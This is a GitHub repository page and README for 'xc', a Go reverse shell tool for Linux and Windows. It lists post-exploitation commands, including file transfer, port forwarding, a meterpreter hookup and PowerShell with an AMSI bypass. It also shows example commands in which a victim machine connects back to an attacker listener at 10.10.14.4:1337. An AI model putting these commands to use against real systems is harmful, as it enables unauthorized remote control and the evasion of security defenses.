https://github.com/xct/xc

A small reverse shell for Linux & Windows
https://github.com/xct/xc

Last synced: about 2 months ago
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A small reverse shell for Linux & Windows

• Host: GitHub
• URL: https://github.com/xct/xc
• Owner: xct
• Created: 2020-05-09T08:11:50.000Z (over 4 years ago)
• Default Branch: master
• Last Pushed: 2024-06-05T17:58:34.000Z (3 months ago)
• Last Synced: 2024-06-22T21:12:15.749Z (3 months ago)
• Language: Go
• Homepage:
• Size: 803 KB
• Stars: 570
• Watchers: 8
• Forks: 103
• Open Issues: 6
• Metadata Files:
  • Readme: README.md

Awesome Lists containing this project

• jimsghstars - xct/xc - A small reverse shell for Linux & Windows (Go)
• awesome-hacking-lists - xct/xc - A small reverse shell for Linux & Windows (Go)

README

        
# XC

Netcat like reverse shell for Linux & Windows.

## Features

### Windows

```  

Usage:

└ Shared Commands:  !exit

  !upload  

   * uploads a file to the target

  !download  

   * downloads a file from the target

  !lfwd   

   * local portforwarding (like ssh -L)

  !rfwd   

   * remote portforwarding (like ssh -R)

  !lsfwd

   * lists active forwards

  !rmfwd 

   * removes forward by index

  !plugins

   * lists available plugins

  !plugin 

   * execute a plugin

  !spawn 

   * spawns another client on the specified port

  !shell

   * runs /bin/sh

  !runas   

   * restart xc with the specified user

  !met 

   * connects to a x64/meterpreter/reverse_tcp listener

└ OS Specific Commands:

  !powershell

    * starts powershell with AMSI Bypass

  !rc 

    * connects to a local bind shell and restarts this client over it

  !runasps   

    * restart xc with the specified user using powershell

  !vulns

    * checks for common vulnerabilities

``` 

### Linux

```

Usage:

└ Shared Commands:  !exit

  !upload  

   * uploads a file to the target

  !download  

   * downloads a file from the target

  !lfwd   

   * local portforwarding (like ssh -L)

  !rfwd   

   * remote portforwarding (like ssh -R)

  !lsfwd

   * lists active forwards

  !rmfwd 

   * removes forward by index

  !plugins

   * lists available plugins

  !plugin 

   * execute a plugin

  !spawn 

   * spawns another client on the specified port

  !shell

   * runs /bin/sh

  !runas   

   * restart xc with the specified user

  !met 

   * connects to a x64/meterpreter/reverse_tcp listener

└ OS Specific Commands:

 !ssh 

   * starts sshd with the configured keys on the specified port

``` 

## Examples

- Linux Attacker:	  `rlwrap xc -l -p 1337`			(Server)

- WindowsVictim :   `xc.exe 10.10.14.4 1337`	  (Client)

- Argumentless:     `xc_10.10.14.4_1337.exe`    (Client)

## Setup

Make sure you are running golang version 1.15+, older versions will not compile. I tested it on ubuntu: `go version go1.16.2 linux/amd64` and kali `go version go1.15.9 linux/amd64`

``` 

git clone --recurse-submodules https://github.com/xct/xc.git

GO111MODULE=off go get golang.org/x/sys/...

GO111MODULE=off go get golang.org/x/text/encoding/unicode

GO111MODULE=off go get github.com/hashicorp/yamux

GO111MODULE=off go get github.com/libp2p/go-reuseport

sudo apt-get install rlwrap upx

``` 

Linux:

```

python3 build.py

```

## Credits

* Included for Windows Clients: https://github.com/itm4n/PrivescCheck  

* Included for Windows Clients: https://github.com/PowerShell/Win32-OpenSSH